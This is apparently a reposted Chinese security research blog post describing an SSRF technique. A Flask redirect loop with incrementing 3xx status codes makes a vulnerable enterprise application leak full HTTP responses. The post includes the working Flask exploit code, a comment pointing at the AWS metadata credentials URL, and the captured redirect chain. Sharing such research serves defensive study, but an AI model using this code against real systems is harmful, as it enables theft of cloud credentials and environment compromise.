涉及 HTTP 重定向循环的新型 SSRF 技术

admin 2025年6月25日17:35:44评论0 views字数 4879阅读16分15秒阅读模式
涉及 HTTP 重定向循环的新型 SSRF 技术

这篇文章详细介绍了一种新型的服务器端请求伪造(SSRF)技术,利用 HTTP 重定向循环来泄露完整的 HTTP 响应链,包括最终的 200 OK 响应。这种技术在研究广泛使用的企业软件时被发现,特别是在处理盲 SSRF 漏洞时,能够绕过应用程序对响应内容的限制,获取关键信息(如云元数据中的安全凭证)。文章通过实验展示了如何利用 HTTP 3xx 状态码的重定向行为,结合 libcurl 和应用程序的异常处理逻辑,成功实现漏洞利用。

新型 SSRF 技术简介

亮点:

  1. 重定向循环利用:通过构造一个 Flask 服务器,动态生成递增的 HTTP 3xx 状态码(如 301 到 310),形成重定向循环,最终引导至目标 URL(如 AWS 元数据 IP),从而泄露完整的 HTTP 响应链。

  2. 绕过解析限制:针对应用程序拒绝返回完整 200 OK 响应(如因 JSON 解析错误)的情况,利用特定 3xx 状态码(如 305)触发应用程序的错误处理机制,意外泄露完整响应。

  3. 兼容现代云架构:技术特别适用于云环境,通过获取元数据凭证实现潜在的严重攻击,突显了其在实际场景中的威胁。

  4. libcurl 与应用程序交互:发现问题的根源在于应用程序对重定向次数的处理逻辑,而非 libcurl 本身,揭示了企业软件中潜在的配置缺陷。

  5. 广泛适用性:该技术已在多种盲 SSRF 场景中成功验证,适用于无法直接获取 200 OK 响应但能获取 500 状态码响应的场景。

实现过程:

  • 测试流程:通过黑盒测试,分析应用程序对不同 HTTP 状态码(3xx、401、500)的响应行为,发现 500 状态码返回完整响应,3xx 重定向在特定条件下触发类似效果。

  • Flask 服务器逻辑:构造一个重定向循环,逐步递增状态码,限制循环次数(如 10 次),最终跳转至目标 URL(如 example.com 或元数据 IP)。

  • 结果验证:成功获取从 305 到 310 的重定向链及最终 200 OK 响应,包含 AWS 元数据凭证,验证了技术的有效性。

盲服务器端请求伪造漏洞很难利用,获取完整的 HTTP 响应是任何 SSRF 漏洞的主要目标之一。在现代云架构中,如果我们能够从元数据 IP 获取安全凭证,泄露完整的 HTTP 响应通常会导致云环境被攻陷。

但是,如果您遇到应用程序拒绝返回完整 HTTP 响应的情况,该怎么办?也许它正在执行某些解析逻辑,而您的响应不符合其规范,从而导致出现正常的解析错误。这些挑战与我们最近在研究广泛使用的企业软件时遇到的挑战相同。

我们在该软件中发现了一些意外行为,导致完整重定向链(包括最终的 200 OK 响应)泄露。我们今天想花点时间在博客上讨论这个问题,因为它可能导致其他 SSRF 漏洞以类似的方式被利用。鉴于这种技术在这款热门企业产品中出人意料地成功,这种模式可能在其他产品中也适用。

该软件底层使用了原生 C++ 绑定和 libcurl。当我们开始将二进制文件加载到 Ghidra 中时,我们意外地在 Ghidra 完成分析过程之前就发现了这种新颖的 SSRF 技术。

SSRF测试流程

我们典型的 SSRF 测试流程涉及查询应用程序对特定状态码的响应方式。我们首先了解应用程序是否可以遵循重定向。如果可以,我们可以检查它可以遵循的重定向次数(MAX_REDIRECTS)以及它在这种情况下的响应方式。

这些尝试均未成功。单次或多次重定向后,应用程序就会失败,并出现 JSON 解析错误,例如Exception: Invalid JSON。增加重定向次数后,我们发现应用程序最多可以执行 30 次重定向,但仍然会失败,并出现另一个异常:NetworkException没有Invalid JSON错误。

由于上述尝试未能泄露完整的响应,我们转而测试可能被区别对待的 HTTP 状态代码(例如 401 和 500)。我们正是在这里找到了该应用程序的第一条线索。对于 500 HTTP 状态代码响应,该应用程序返回了完整的 HTTP 响应。

虽然这是一个好的开始,但在这种情况下,关键在于通过云元数据 IP 暴露的安全凭证。此 URL 的响应为 200,并且无法将此响应的状态码设置为 500。

由于我们直观地知道应用程序会遵循 3xx 状态码的重定向,这完全是黑盒推理,所以我们推测 3xx 范围内的某些状态码可能会触发与 500 状态码相同的错误状态。我们知道,遵循过多的重定向(超过 30 次)会导致错误NetworkException,而遵循少量重定向会导致 JSON 解析错误,但如果我们迭代更多 3xx 状态码呢?

我们创建了一个具有以下逻辑的基本 Flask 服务器:

@app.route('/redir', methods=['GET', 'POST'])defredir():"""Handle redirects with loop counter - after 10 redirects, go to final SSRF location."""# Get the current redirect count from query parameter, default to 0    redirect_count = int(request.args.get('count'0))# Increment the counter    redirect_count += 1    status_code = 301 + redirect_count# If we've reached 10 redirects, redirect to our desired location# To grab AWS metadata keys, you would hit http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name-hereif redirect_count >= 10:return redirect("http://example.com", code=302)    print("trying: " + str(status_code))# Otherwise, redirect back to /redir with incremented counterreturn redirect(f"/redir?count={redirect_count}", code=status_code)@app.route('/start', methods=['POST', 'GET'])defstart():"""Starting point for redirect loop."""return redirect("/redir", code=302)

上述代码执行重定向循环,在每个后续请求中递增 HTTP 状态代码。当利用 SSRF 漏洞并将其指向托管上述逻辑的 URL 时,应用程序会使用完整的 HTTP 重定向链和响应进行响应:

HTTP/1.1 305 USE PROXYDate: Sun, 01 Jun 2025 02:43:18 GMTContent-Type: text/html; charset=utf-8Content-Length: 215Connection: keep-aliveserver: Werkzeug/2.2.3 Python/3.10.12location: /redir?count=4HTTP/1.1 306 SWITCH PROXYDate: Sun, 01 Jun 2025 02:43:18 GMTContent-Type: text/html; charset=utf-8Content-Length: 215Connection: keep-aliveserver: Werkzeug/2.2.3 Python/3.10.12location: /redir?count=5HTTP/1.1 307 TEMPORARY REDIRECTDate: Sun, 01 Jun 2025 02:43:19 GMTContent-Type: text/html; charset=utf-8Content-Length: 215Connection: keep-aliveserver: Werkzeug/2.2.3 Python/3.10.12location: /redir?count=6HTTP/1.1 308 PERMANENT REDIRECTDate: Sun, 01 Jun 2025 02:43:19 GMTContent-Type: text/html; charset=utf-8Content-Length: 215Connection: keep-aliveserver: Werkzeug/2.2.3 Python/3.10.12location: /redir?count=7HTTP/1.1 309 UNKNOWNDate: Sun, 01 Jun 2025 02:43:20 GMTContent-Type: text/html; charset=utf-8Content-Length: 215Connection: keep-aliveserver: Werkzeug/2.2.3 Python/3.10.12location: /redir?count=8HTTP/1.1 310 UNKNOWNDate: Sun, 01 Jun 2025 02:43:20 GMTContent-Type: text/html; charset=utf-8Content-Length: 215Connection: keep-aliveserver: Werkzeug/2.2.3 Python/3.10.12location: /redir?count=9HTTP/1.1 302 FOUNDDate: Sun, 01 Jun 2025 02:43:21 GMTContent-Type: text/html; charset=utf-8Content-Length: 225Connection: keep-aliveserver: Werkzeug/2.2.3 Python/3.10.12location: https://example.comHTTP/1.1 200 OKAccept-Ranges: bytesContent-Type: text/htmlETag: "84238dfc8092e5d9c0dac8ef93371a07:1736799080.121134"Last-Modified: Mon, 13 Jan 2025 20:11:20 GMTVary: Accept-EncodingContent-Encoding: gzipContent-Length: 648Cache-Control: max-age=1824Date: Sun, 01 Jun 2025 02:43:21 GMTAlt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,quic=":443"; ma=93600; v="43"Connection: keep-alive<!doctype html>... omitted for brevity ... (full response)

这确实令人惊讶,但我们的目的达到了!我们使用此技术成功获取了 AWS 元数据凭证。

但它为什么会起作用呢?

这让我们抓狂。305 状态码有什么特别之处吗?即使我们执行了从 301 到 310 的重定向,为什么我们只收到了状态码 305 及之后的 HTTP 响应?

这是 libcurl 的问题吗?在对 libcurl 源代码和该应用程序的二进制文件进行全面分析后,我们认为不是。

相反,我们认为该应用程序乐于遵循少量重定向(并在 JSON 解析中失败),并且不愿意遵循超过 libcurl 配置的最大重定向次数。然而,当它遵循超过五次重定向时,会出现错误状态,这不是由 libcurl 处理的,而是由应用程序本身处理的。

这种技术对您来说可能听起来很晦涩,但它现在已经在几种情况下为我们提供了帮助,在这些情况下,我们无法看到 200 OK 响应的完整 HTTP 响应,但可以看到 500 状态代码的完整 HTTP 响应。

所以,下次你处理棘手的盲测 SSRF 漏洞时,请记住这篇研究文章。你可能会对结果感到惊讶!

原文始发于微信公众号(Ots安全):涉及 HTTP 重定向循环的新型 SSRF 技术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月25日17:35:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   涉及 HTTP 重定向循环的新型 SSRF 技术https://cn-sec.com/archives/4199195.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息